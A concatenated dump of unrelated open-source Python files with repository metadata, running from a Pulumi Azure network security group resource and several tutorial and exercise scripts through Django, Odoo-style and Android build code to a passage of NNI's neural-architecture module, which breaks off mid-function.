__props__.__dict__["network_security_group_name"] = network_security_group_name if resource_group_name is None and not opts.urn: raise TypeError("Missing required property 'resource_group_name'") __props__.__dict__["resource_group_name"] = resource_group_name __props__.__dict__["security_rules"] = security_rules __props__.__dict__["tags"] = tags __props__.__dict__["default_security_rules"] = None __props__.__dict__["etag"] = None __props__.__dict__["flow_logs"] = None __props__.__dict__["name"] = None __props__.__dict__["network_interfaces"] = None __props__.__dict__["provisioning_state"] = None __props__.__dict__["resource_guid"] = None __props__.__dict__["subnets"] = None __props__.__dict__["type"] = None alias_opts = pulumi.ResourceOptions(aliases=[pulumi.Alias(type_="azure-native:network:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20150501preview:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20150615:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20160330:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20160601:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20160901:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20161201:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20170301:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20170601:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20170801:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20170901:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20171001:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20171101:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20180101:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20180201:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20180401:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20180601:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20180701:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20180801:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20181001:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20181101:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20181201:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20190201:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20190401:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20190601:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20190701:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20190801:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20190901:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20191101:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20191201:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20200301:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20200401:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20200501:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20200601:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20200701:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20200801:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20201101:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20210201:NetworkSecurityGroup"), pulumi.Alias(type_="azure-native:network/v20210301:NetworkSecurityGroup")]) opts = pulumi.ResourceOptions.merge(opts, alias_opts) super(NetworkSecurityGroup, __self__).__init__( 'azure-native:network/v20210501:NetworkSecurityGroup', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None) -> 'NetworkSecurityGroup': """ Get an existing NetworkSecurityGroup resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = NetworkSecurityGroupInitArgs.__new__(NetworkSecurityGroupInitArgs) __props__.__dict__["default_security_rules"] = None __props__.__dict__["etag"] = None __props__.__dict__["flow_logs"] = None __props__.__dict__["location"] = None __props__.__dict__["name"] = None __props__.__dict__["network_interfaces"] = None __props__.__dict__["provisioning_state"] = None __props__.__dict__["resource_guid"] = None __props__.__dict__["security_rules"] = None __props__.__dict__["subnets"] = None __props__.__dict__["tags"] = None __props__.__dict__["type"] = None return NetworkSecurityGroup(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="defaultSecurityRules") def default_security_rules(self) -> pulumi.Output[Sequence['outputs.SecurityRuleResponse']]: """ The default security rules of network security group. """ return pulumi.get(self, "default_security_rules") @property @pulumi.getter def etag(self) -> pulumi.Output[str]: """ A unique read-only string that changes whenever the resource is updated. """ return pulumi.get(self, "etag") @property @pulumi.getter(name="flowLogs") def flow_logs(self) -> pulumi.Output[Sequence['outputs.FlowLogResponse']]: """ A collection of references to flow log resources. """ return pulumi.get(self, "flow_logs") @property @pulumi.getter def location(self) -> pulumi.Output[Optional[str]]: """ Resource location. """ return pulumi.get(self, "location") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ Resource name. """ return pulumi.get(self, "name") @property @pulumi.getter(name="networkInterfaces") def network_interfaces(self) -> pulumi.Output[Sequence['outputs.NetworkInterfaceResponse']]: """ A collection of references to network interfaces. """ return pulumi.get(self, "network_interfaces") @property @pulumi.getter(name="provisioningState") def provisioning_state(self) -> pulumi.Output[str]: """ The provisioning state of the network security group resource. """ return pulumi.get(self, "provisioning_state") @property @pulumi.getter(name="resourceGuid") def resource_guid(self) -> pulumi.Output[str]: """ The resource GUID property of the network security group resource. """ return pulumi.get(self, "resource_guid") @property @pulumi.getter(name="securityRules") def security_rules(self) -> pulumi.Output[Optional[Sequence['outputs.SecurityRuleResponse']]]: """ A collection of security rules of the network security group. """ return pulumi.get(self, "security_rules") @property @pulumi.getter def subnets(self) -> pulumi.Output[Sequence['outputs.SubnetResponse']]: """ A collection of references to subnets. """ return pulumi.get(self, "subnets") @property @pulumi.getter def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]: """ Resource tags. """ return pulumi.get(self, "tags") @property @pulumi.getter def type(self) -> pulumi.Output[str]: """ Resource type. """ return pulumi.get(self, "type")
04a5e1ecf5eb7928a641bacbe6d6f6bbbf4dc517
f0a9e69f5acd27877316bcdd872d12b9e92d6ccb
/while.py
59f6e3da65c64608dea5c349cff9ebf6c9d92fc3
[]
no_license
KhauTu/KhauTu-Think_Python
9cb2a286efb8a33748599cd3ae4605e48256ac4c
880c06f6218b8aee7a3e3da0d8b4764fcaa9c1b4
refs/heads/master
2020-05-29T21:43:47.246199
2019-05-30T11:36:05
2019-05-30T11:36:05
189,389,541
0
0
null
null
null
null
UTF-8
Python
false
false
2,980
py
# while expression: # while-block ''' k = 5 while k > 0: print('k = ', k) k -= 1 ''' ''' s = 'How Kteam' idx = 0 length = len(s) while idx < length: print(idx, 'stands for', s[idx]) idx += 1 ''' ''' five_even_numbers = [] k_number = 1 while True: # vòng lặp vô hạn vì giá trị này là hằng nên ta không thể tác động được if k_number % 2 == 0: # nếu k_number là một số chẵn five_even_numbers.append(k_number) # thêm giá trị của k_number vào list if len(five_even_numbers) == 5: # nếu list này đủ 5 phần tử break # thì kết thúc vòng lặp k_number += 1 print(five_even_numbers) print(k_number) ''' ''' k_number = 0 while k_number < 10: k_number += 1 if k_number % 2 == 0: # nếu k_number là số chẵn continue print(k_number, 'is odd number') print(k_number) ''' ''' while expression: # while-block else: # else-block ''' ''' k = 0 while k < 3: print('value of k is', k) k += 1 else: print('k is not less than 3 anymore') ''' # Trong trường hợp trong while-block chạy câu lệnh break thì vòng lặp while sẽ kết thúc và phần else-block cũng sẽ không được thực hiện. draft = '''an so dfn Kteam odsa in fasfna Kteam mlfjier as dfasod nf ofn asdfer fsan dfoans ldnfad Kteam asdfna asdofn sdf pzcvqp Kteam dfaojf kteam dfna Kteam dfaodf afdna Kteam adfoasdf ncxvo aern Kteam dfad''' kteam = [] # Khởi tạo file draft.txt with open('draft.txt','w') as d: print(draft, file = d) # đọc từng dòng trong draft.txt with open('draft.txt') as d: line = d.readlines() # print(len(line)) for i in range(len(line)): print(line[i]) # đưa từng line về dạng list, ngăn cách bằng space ' ' line_list = line[i].split(sep = ' ') print(line_list) k = 0 while k < len(line_list): # thay thế 'Kteam' bằng 'How Kteam' nếu từ đầu tiên của list là 'Kteam' if line_list[k] == "Kteam": # print(line_list[k-1]) if k-1 < 0: line_list[k] = "How Kteam" # thay thế từ đứng trước 'Kteam' bằng 'How' nếu 'Kteam' không đứng đầu list else: line_list[k-1] = "How" k += 1 else: k += 1 # nối các từ trong list thành line mới new_line = ' '.join(line_list) print(new_line) # cho new line vào trong list kteam kteam.append(new_line) # Nối các line trong list kteam thành đoạn văn bản # print(''.join(kteam)) with open('kteam.txt','w') as f: print(''.join(kteam), file = f) # thay thế xuống dòng \n bằng dấu cách space # draft = draft.replace('\n',' ') # đưa về dạng list # draft_list = draft.split(sep = ' ') # print(draft_list) # print(data) # print(kteam)
2d4cf09f0f2aa26d2385b364596894feba510a91
e2e188297b0ef47f0e7e935290f3b7a175376f8f
/auth/urls.py
876eb04ddf2bc73525218b4bd7aa9c894bc3c77e
[]
no_license
shubham1560/contact-us-backend
77b615021f0db2a48444424a654cf3c61522c7d8
c7ef2d3024ab3f3b6f077648d6f6f5357f01eebc
refs/heads/master
2022-12-30T13:05:00.950702
2020-10-02T19:47:19
2020-10-02T19:47:19
296,075,868
0
0
null
null
null
null
UTF-8
Python
false
false
493
py
from django.urls import path, include from .views import ObtainAuthTokenViewSet, CreateUserSystemViewSet urlpatterns = [ path('token/get_token/', ObtainAuthTokenViewSet.as_view()), path('user/register/system/', CreateUserSystemViewSet.as_view()), # path('user/register/google/'), # path('user/register/facebook/'), # path('user/activate/'), # path('user/password_reset/'), # path('user/send_reset_link/'), # path('token/valid/'), # path('token/user/'), ]
1070cd8566457d889b1f144ee8456b63946d6861
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/40/usersdata/81/18116/submittedfiles/funcoes.py
54b96934c77ea74865637ac40054305beadee568
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
297
py
#ARQUIVO COM SUAS FUNCOES def cos(e,fat): soma=0 while 0<soma<=e: for j in range(1,e,1): for i in range(2,e,2): soma=soma+(((e**i)/fat)+((-1)**j)) def razao(pi,cos): aurea=2*cos.(pi/5) return aurea
4916c7ffb221a17d73a7312b25205170ea38e80e
404728244681a773f55be7f7b0c4933f439f3106
/walis/service/cs/user.py
280b7d3b8e645daa0b6ad2bf034f55f790409a92
[]
no_license
limingjin10/walis
c4e22db27d964cefa068883edf979cabfedd74d6
198a4e94992c1790b7a9f2cd34b1686fefc87845
refs/heads/master
2021-05-29T04:50:34.091849
2015-06-15T14:19:23
2015-06-15T14:19:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,155
py
#!/usr/bin/env python2 # coding=utf8 from __future__ import absolute_import, division, print_function from walis.service.rst import restaurant as rst_base from walis.service.user import user as user_base from walis.model.walis.cs import CSEvent def get_user_by_phone(mobile): user_type = None result = {'user_type': CSEvent.USER_TYPE_OTHERS} rst = rst_base.get_by_mobile(mobile) if rst: user_type = CSEvent.USER_TYPE_MERCHANT result = { 'user_type': user_type, 'restaurant_id': rst.id, 'restaurant_name': rst.name, 'phone': rst.phone } user = user_base.get_by_mobile(mobile) if not user: return result result.update({'user_id': user.id, 'user_name': user.username}) if user_type == CSEvent.USER_TYPE_MERCHANT: return result is_marketing = user_base.has_groups( user.id, ['region_director', 'city_director', 'entry_director'] ) if is_marketing: result.update({'user_type': CSEvent.USER_TYPE_MARKETING}) else: result.update({'user_type': CSEvent.USER_TYPE_USER}) return result
22ab383b407c99415b5f7885c0d8c8c564ec0d3c
c4b94158b0ac8f1c4f3d535b6cdee5d1639743ce
/Python/191__Number_of_1_Bits.py
b64ace4b9dd4bc9b74e3c645eb8855f0bfc393c4
[]
no_license
FIRESTROM/Leetcode
fc61ae5f11f9cb7a118ae7eac292e8b3e5d10e41
801beb43235872b2419a92b11c4eb05f7ea2adab
refs/heads/master
2020-04-04T17:40:59.782318
2019-08-26T18:58:21
2019-08-26T18:58:21
156,130,665
2
0
null
null
null
null
UTF-8
Python
false
false
558
py
class Solution(object): def hammingWeight(self, n): """ :type n: int :rtype: int """ result = 0 while n: if n & 1 == 1: result += 1 n = n >> 1 return result # Another solution using a trick of bit class Solution(object): def hammingWeight(self, n): """ :type n: int :rtype: int """ result = 0 while n: result += 1 n = n & (n - 1) # Flip the least significant 1 return result
e6abef9bf3bf91103e722ef652077ea427964e52
bc599c9a404940fae21ed6b57edb7bb9dc04e71c
/app/graphics/baseGraphic.py
9402148fb19d3b5ea25e3d5b2212cb4925d18707
[]
no_license
jcarlosglx/SparkReport
c9b37a1419f113ea13341e6641ceb17056aeb7d0
9d6b044f037e8dfe583bcf76c51dd792ac1cc34a
refs/heads/master
2023-08-11T16:04:28.393856
2021-09-21T23:06:08
2021-09-21T23:06:08
409,001,831
0
0
null
null
null
null
UTF-8
Python
false
false
1,027
py
from typing import NoReturn import matplotlib.pyplot as plt from pandas import DataFrame class NonGraphicsBase: FIRST = 0 class GraphicBase: def __init__(self, x_figure: int = 10, y_figure: int = 10): self.x_figure = x_figure self.y_figure = y_figure self.FIRST = 0 def _single_template( self, tittle: str, x_df: DataFrame, y_df: DataFrame ) -> NoReturn: x_name = x_df.columns[self.FIRST] y_name = y_df.columns[self.FIRST] plt.figure(figsize=(self.x_figure, self.y_figure)) plt.grid() plt.title(f"{tittle}") plt.ylabel(y_name) plt.xlabel(x_name) def _multi_template( self, tittle: str, x_df: DataFrame, y_df: DataFrame ) -> NoReturn: x_name = x_df.columns[self.FIRST] y_name = str([f"{name} " for name in y_df.columns]) plt.figure(figsize=(self.x_figure, self.y_figure)) plt.grid() plt.title(f"{tittle}") plt.ylabel(y_name) plt.xlabel(x_name)
75e6a03d5a69e5540503ea26fcf6149bca408aae
045cb1a5638c3575296f83471758dc09a8065725
/addons/website_event/models/event.py
da47fe454cee4a971191fe60794ffc5ff9e718f8
[]
no_license
marionumza/saas
7236842b0db98d1a0d0c3c88df32d268509629cb
148dd95d991a348ebbaff9396759a7dd1fe6e101
refs/heads/main
2023-03-27T14:08:57.121601
2021-03-20T07:59:08
2021-03-20T07:59:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,069
py
# -*- coding: utf-8 -*- import pytz import werkzeug import json from harpiya import api, fields, models, _ from harpiya.addons.http_routing.models.ir_http import slug from harpiya.exceptions import UserError GOOGLE_CALENDAR_URL = 'https://www.google.com/calendar/render?' class EventType(models.Model): _name = 'event.type' _inherit = ['event.type'] website_menu = fields.Boolean( 'Display a dedicated menu on Website') class Event(models.Model): _name = 'event.event' _inherit = ['event.event', 'website.seo.metadata', 'website.published.multi.mixin'] website_published = fields.Boolean(tracking=True) subtitle = fields.Char('Event Subtitle', translate=True) is_participating = fields.Boolean("Is Participating", compute="_compute_is_participating") cover_properties = fields.Text( 'Cover Properties', default='{"background-image": "none", "background-color": "oe_blue", "opacity": "0.4", "resize_class": "cover_mid"}') website_menu = fields.Boolean('Dedicated Menu', help="Creates menus Introduction, Location and Register on the page " " of the event on the website.", copy=False) menu_id = fields.Many2one('website.menu', 'Event Menu', copy=False) def _compute_is_participating(self): # we don't allow public user to see participating label if self.env.user != self.env['website'].get_current_website().user_id: email = self.env.user.partner_id.email for event in self: domain = ['&', '|', ('email', '=', email), ('partner_id', '=', self.env.user.partner_id.id), ('event_id', '=', event.id)] event.is_participating = self.env['event.registration'].search_count(domain) else: self.is_participating = False @api.depends('name') def _compute_website_url(self): super(Event, self)._compute_website_url() for event in self: if event.id: # avoid to perform a slug on a not yet saved record in case of an onchange. event.website_url = '/event/%s' % slug(event) @api.onchange('event_type_id') def _onchange_type(self): super(Event, self)._onchange_type() if self.event_type_id: self.website_menu = self.event_type_id.website_menu def _get_menu_entries(self): """ Method returning menu entries to display on the website view of the event, possibly depending on some options in inheriting modules. """ self.ensure_one() return [ (_('Introduction'), False, 'website_event.template_intro'), (_('Location'), False, 'website_event.template_location'), (_('Register'), '/event/%s/register' % slug(self), False), ] def _toggle_create_website_menus(self, vals): for event in self: if 'website_menu' in vals: if event.menu_id and not event.website_menu: event.menu_id.unlink() elif event.website_menu: if not event.menu_id: root_menu = self.env['website.menu'].create({'name': event.name, 'website_id': event.website_id.id}) event.menu_id = root_menu for sequence, (name, url, xml_id) in enumerate(event._get_menu_entries()): event._create_menu(sequence, name, url, xml_id) @api.model def create(self, vals): res = super(Event, self).create(vals) res._toggle_create_website_menus(vals) return res def write(self, vals): res = super(Event, self).write(vals) self._toggle_create_website_menus(vals) return res def _create_menu(self, sequence, name, url, xml_id): if not url: self.env['ir.ui.view'].search([('name', '=', name + ' ' + self.name)]).unlink() newpath = self.env['website'].new_page(name + ' ' + self.name, template=xml_id, ispage=False)['url'] url = "/event/" + slug(self) + "/page/" + newpath[1:] menu = self.env['website.menu'].create({ 'name': name, 'url': url, 'parent_id': self.menu_id.id, 'sequence': sequence, 'website_id': self.website_id.id, }) return menu def google_map_img(self, zoom=8, width=298, height=298): self.ensure_one() if self.address_id: return self.sudo().address_id.google_map_img(zoom=zoom, width=width, height=height) return None def google_map_link(self, zoom=8): self.ensure_one() if self.address_id: return self.sudo().address_id.google_map_link(zoom=zoom) return None def _track_subtype(self, init_values): self.ensure_one() if 'is_published' in init_values and self.is_published: return self.env.ref('website_event.mt_event_published') elif 'is_published' in init_values and not self.is_published: return self.env.ref('website_event.mt_event_unpublished') return super(Event, self)._track_subtype(init_values) def action_open_badge_editor(self): """ open the event badge editor : redirect to the report page of event badge report """ self.ensure_one() return { 'type': 'ir.actions.act_url', 'target': 'new', 'url': '/report/html/%s/%s?enable_editor' % ('event.event_event_report_template_badge', self.id), } def _get_event_resource_urls(self): url_date_start = self.date_begin.strftime('%Y%m%dT%H%M%SZ') url_date_stop = self.date_end.strftime('%Y%m%dT%H%M%SZ') params = { 'action': 'TEMPLATE', 'text': self.name, 'dates': url_date_start + '/' + url_date_stop, 'details': self.name, } if self.address_id: params.update(location=self.sudo().address_id.contact_address.replace('\n', ' ')) encoded_params = werkzeug.url_encode(params) google_url = GOOGLE_CALENDAR_URL + encoded_params iCal_url = '/event/%d/ics?%s' % (self.id, encoded_params) return {'google_url': google_url, 'iCal_url': iCal_url} def _default_website_meta(self): res = super(Event, self)._default_website_meta() event_cover_properties = json.loads(self.cover_properties) # background-image might contain single quotes eg `url('/my/url')` res['default_opengraph']['og:image'] = res['default_twitter']['twitter:image'] = event_cover_properties.get('background-image', 'none')[4:-1].strip("'") res['default_opengraph']['og:title'] = res['default_twitter']['twitter:title'] = self.name res['default_opengraph']['og:description'] = res['default_twitter']['twitter:description'] = self.subtitle res['default_twitter']['twitter:card'] = 'summary' res['default_meta_description'] = self.subtitle return res def get_backend_menu_id(self): return self.env.ref('event.event_main_menu').id
f9b74976cf3a863630b6f91560e2d0fadb3eb995
c421dd51e0e6a4ce84e75724989ac52efcecf15b
/tool/migrations/0050_alter_shoppinglist_name.py
cc524029bb2e3b1f534678ffd8ae0eb664e77065
[ "MIT" ]
permissive
mikekeda/tools
3bdbfcbc495bd9b53e2849431c8d8f098149925d
51a2ae2b29ae5c91a3cf7171f89edf225cc8a6f0
refs/heads/master
2023-06-09T09:13:35.142701
2023-06-06T17:27:18
2023-06-06T17:27:18
120,110,752
0
1
MIT
2023-05-23T14:15:43
2018-02-03T16:56:57
Python
UTF-8
Python
false
false
434
py
# Generated by Django 3.2.3 on 2021-05-30 09:01 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('tool', '0049_auto_20210308_0847'), ] operations = [ migrations.AlterField( model_name='shoppinglist', name='name', field=models.CharField(default='Groceries', max_length=32, verbose_name='list name'), ), ]
7314dd1ce978a7d2053f03d14e1596873e990784
90c4d97afceb51c9827e0c29cfa5703873644898
/android_autotools/__main__.py
816120d4abe7edbd6f2cda8892c7f8c9f6e0013f
[ "BSD-2-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
fred104/android-autotools
e6e7de6385b6532afac4248bf5bf1addaeaf19eb
8566524f11d9551a42451178eb8c119e57e9441b
refs/heads/master
2021-01-23T03:12:43.472904
2017-02-04T06:19:33
2017-02-04T06:19:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,219
py
#!/usr/bin/env python3 import argparse import os import sys import json import os.path import subprocess import android_autotools def main(): a = argparse.ArgumentParser(prog='abuild', description='A wrapper around autotools for Android.', epilog='NDK_HOME must be defined to use this tool.') a.add_argument('--version', action='version', version="%(prog)s (android_autotools) {}".format( android_autotools.__version__)) a.add_argument('-v', dest='verbose', action='store_true', help="verbose output") g = a.add_argument_group('build options') g.add_argument('-a', dest='arch', metavar='arch', action='append', help="override architectures in provided build file") g.add_argument('-o', metavar='dir', dest='output_dir', default='.', help="output directory for build (default: cwd)") g.add_argument('-R', dest='release', action='store_true', help="build release (default: debug)") a.add_argument('-f', dest='config', default='abuild.json', type=argparse.FileType('r'), help='build from supplied JSON build file') args = a.parse_args() conf = json.load(args.config) args.config.close() if 'NDK_HOME' not in os.environ: print("ERROR: NDK_HOME must be defined.") return 1 output_dir = os.path.abspath(args.output_dir) conf_dir = os.path.dirname(args.config.name) build = android_autotools.BuildSet( os.environ['NDK_HOME'], output_dir, release=args.release, archs=args.arch or conf.get('archs', android_autotools.ARCHS), verbose=args.verbose) for t in conf['targets']: build.add(os.path.join(conf_dir, t['path']), t['output'], *t['configure'], inject=t.get('inject', None), cpp=t.get('c++', False)) try: res = build.run() return 0 if res is not False else 1 except Exception as e: if args.verbose: raise e print(e) if __name__ == "__main__": try: sys.exit(main()) except KeyboardInterrupt: pass
c9df6ac92ac8959e2f091582fbbc2c9b4c356a4b
34de2b3ef4a2478fc6a03ea3b5990dd267d20d2d
/Python/science/sympy/solve_system_of_lin_eqns_using_sympy.py
b4d8f00eeca664484914e2ac4c57a7927627fd97
[ "MIT" ]
permissive
bhishanpdl/Programming
d4310f86e1d9ac35483191526710caa25b5f138e
9654c253c598405a22cc96dfa1497406c0bd0990
refs/heads/master
2020-03-26T06:19:01.588451
2019-08-21T18:09:59
2019-08-21T18:09:59
69,140,073
0
1
null
null
null
null
UTF-8
Python
false
false
709
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Author : Bhishan Poudel; Physics PhD Student, Ohio University # Date : Oct 04, 2016 # Last update : # # # Imports from __future__ import division, unicode_literals, print_function import numpy import scipy.linalg from sympy import symbols,solve w,x,y,z = symbols('w, x, y, z') eq1 = 3*w + x -1 eq2 = 4*w + x + z -2 eq3 = x -y + 19.9*z + 1 eq4 = 4*w - y + 4*z - 1 ans = solve([eq1, eq2,eq3,eq4], (w,x, y,z)) # answer # {x: -1.47598253275109, w: 0.825327510917031, z: 0.174672489082969, y: 3.00000000000000} # w = 0.8253275109170306 # x = -1.4759825327510923 # y = 3.000000000000001 # z = 0.17467248908296953
138f3980a1ed3012410d1099b138889cb25b7b8b
3d39974209f890080456c5f9e60397c505540c64
/0x0C-python-almost_a_circle/10-main.py
72e7fa2d845bb5a79e7d1be760d234ee13cbc862
[]
no_license
salmenz/holbertonschool-higher_level_programming
293ca44674833b587f1a3aec13896caec4e61ab6
23792f8539db48c8f8200a6cdaf9268d0cb7d4e6
refs/heads/master
2020-09-28T11:42:51.264437
2020-05-13T22:56:39
2020-05-13T22:56:39
226,771,568
3
0
null
null
null
null
UTF-8
Python
false
false
297
py
#!/usr/bin/python3 """ 10-main """ from models.square import Square if __name__ == "__main__": s1 = Square(5) print(s1) print(s1.size) s1.size = 10 print(s1) try: s1.size = "9" except Exception as e: print("[{}] {}".format(e.__class__.__name__, e))
4a4f0ee250023d867691985d96d7fb0eafcee414
31e6ca145bfff0277509dbd7c4b44b8deddf3334
/Programmers/Level1/Kth_num.py
a5998f0cf2a686d3094fcebc330240582ad25ce3
[]
no_license
brillantescene/Coding_Test
2582d6eb2d0af8d9ac33b8e829ff8c1682563c42
0ebc75cd66e1ccea3cedc24d6e457b167bb52491
refs/heads/master
2023-08-31T06:20:39.000734
2021-10-15T10:51:17
2021-10-15T10:51:17
254,366,460
3
1
null
null
null
null
UTF-8
Python
false
false
248
py
def solution(array, commands): answer = [] for i, j, k in commands: tmp = array[i-1:j] tmp.sort() answer.append(tmp[k-1]) return answer print(solution([1, 5, 2, 6, 3, 7, 4], [[2, 5, 3], [4, 4, 1], [1, 7, 3]]))
aa877b523c25ed2dbd360625b6d019008e5819b4
5c0c0176db0ccf2c24b6b5ed459a8dc144518b13
/nni/retiarii/nn/pytorch/nn.py
797a672c8cf99ed4ccc35b43fccfc6dc009f0241
[ "MIT" ]
permissive
petuum/nni
ac4f4a1c4d6df71684eeffa127b7c4858fd29e97
8134be6269902939232482d63649c06f9864be6d
refs/heads/master
2023-02-18T11:21:41.078889
2021-01-20T03:21:50
2021-01-20T03:21:50
302,736,456
4
3
MIT
2020-11-20T20:21:15
2020-10-09T19:34:11
Python
UTF-8
Python
false
false
10,748
py
import logging from typing import Any, List import torch import torch.nn as nn from ...utils import add_record, blackbox_module, uid, version_larger_equal _logger = logging.getLogger(__name__) # NOTE: support pytorch version >= 1.5.0 __all__ = [ 'LayerChoice', 'InputChoice', 'Placeholder', 'Module', 'Sequential', 'ModuleList', # TODO: 'ModuleDict', 'ParameterList', 'ParameterDict', 'Identity', 'Linear', 'Conv1d', 'Conv2d', 'Conv3d', 'ConvTranspose1d', 'ConvTranspose2d', 'ConvTranspose3d', 'Threshold', 'ReLU', 'Hardtanh', 'ReLU6', 'Sigmoid', 'Tanh', 'Softmax', 'Softmax2d', 'LogSoftmax', 'ELU', 'SELU', 'CELU', 'GLU', 'GELU', 'Hardshrink', 'LeakyReLU', 'LogSigmoid', 'Softplus', 'Softshrink', 'MultiheadAttention', 'PReLU', 'Softsign', 'Softmin', 'Tanhshrink', 'RReLU', 'AvgPool1d', 'AvgPool2d', 'AvgPool3d', 'MaxPool1d', 'MaxPool2d', 'MaxPool3d', 'MaxUnpool1d', 'MaxUnpool2d', 'MaxUnpool3d', 'FractionalMaxPool2d', "FractionalMaxPool3d", 'LPPool1d', 'LPPool2d', 'LocalResponseNorm', 'BatchNorm1d', 'BatchNorm2d', 'BatchNorm3d', 'InstanceNorm1d', 'InstanceNorm2d', 'InstanceNorm3d', 'LayerNorm', 'GroupNorm', 'SyncBatchNorm', 'Dropout', 'Dropout2d', 'Dropout3d', 'AlphaDropout', 'FeatureAlphaDropout', 'ReflectionPad1d', 'ReflectionPad2d', 'ReplicationPad2d', 'ReplicationPad1d', 'ReplicationPad3d', 'CrossMapLRN2d', 'Embedding', 'EmbeddingBag', 'RNNBase', 'RNN', 'LSTM', 'GRU', 'RNNCellBase', 'RNNCell', 'LSTMCell', 'GRUCell', 'PixelShuffle', 'Upsample', 'UpsamplingNearest2d', 'UpsamplingBilinear2d', 'PairwiseDistance', 'AdaptiveMaxPool1d', 'AdaptiveMaxPool2d', 'AdaptiveMaxPool3d', 'AdaptiveAvgPool1d', 'AdaptiveAvgPool2d', 'AdaptiveAvgPool3d', 'TripletMarginLoss', 'ZeroPad2d', 'ConstantPad1d', 'ConstantPad2d', 'ConstantPad3d', 'Bilinear', 'CosineSimilarity', 'Unfold', 'Fold', 'AdaptiveLogSoftmaxWithLoss', 'TransformerEncoder', 'TransformerDecoder', 'TransformerEncoderLayer', 'TransformerDecoderLayer', 'Transformer', 'Flatten', 'Hardsigmoid' ] if version_larger_equal(torch.__version__, '1.6.0'): __all__.append('Hardswish') if version_larger_equal(torch.__version__, '1.7.0'): __all__.extend(['Unflatten', 'SiLU', 'TripletMarginWithDistanceLoss']) class LayerChoice(nn.Module): def __init__(self, op_candidates, reduction=None, return_mask=False, key=None): super(LayerChoice, self).__init__() self.op_candidates = op_candidates self.label = key if key is not None else f'layerchoice_{uid()}' self.key = self.label # deprecated, for backward compatibility for i, module in enumerate(op_candidates): # deprecated, for backward compatibility self.add_module(str(i), module) if reduction or return_mask: _logger.warning('input arguments `reduction` and `return_mask` are deprecated!') def forward(self, x): return x class InputChoice(nn.Module): def __init__(self, n_candidates=None, choose_from=None, n_chosen=1, reduction="sum", return_mask=False, key=None): super(InputChoice, self).__init__() self.n_candidates = n_candidates self.n_chosen = n_chosen self.reduction = reduction self.label = key if key is not None else f'inputchoice_{uid()}' self.key = self.label # deprecated, for backward compatibility if choose_from or return_mask: _logger.warning('input arguments `n_candidates`, `choose_from` and `return_mask` are deprecated!') def forward(self, candidate_inputs: List[torch.Tensor]) -> torch.Tensor: # fake return return torch.tensor(candidate_inputs) # pylint: disable=not-callable class ValueChoice: """ The instance of this class can only be used as input argument, when instantiating a pytorch module. TODO: can also be used in training approach """ def __init__(self, candidate_values: List[Any]): self.candidate_values = candidate_values class Placeholder(nn.Module): def __init__(self, label, related_info): add_record(id(self), related_info) self.label = label self.related_info = related_info super(Placeholder, self).__init__() def forward(self, x): return x class ChosenInputs(nn.Module): """ """ def __init__(self, chosen: List[int], reduction: str): super().__init__() self.chosen = chosen self.reduction = reduction def forward(self, candidate_inputs): return self._tensor_reduction(self.reduction, [candidate_inputs[i] for i in self.chosen]) def _tensor_reduction(self, reduction_type, tensor_list): if 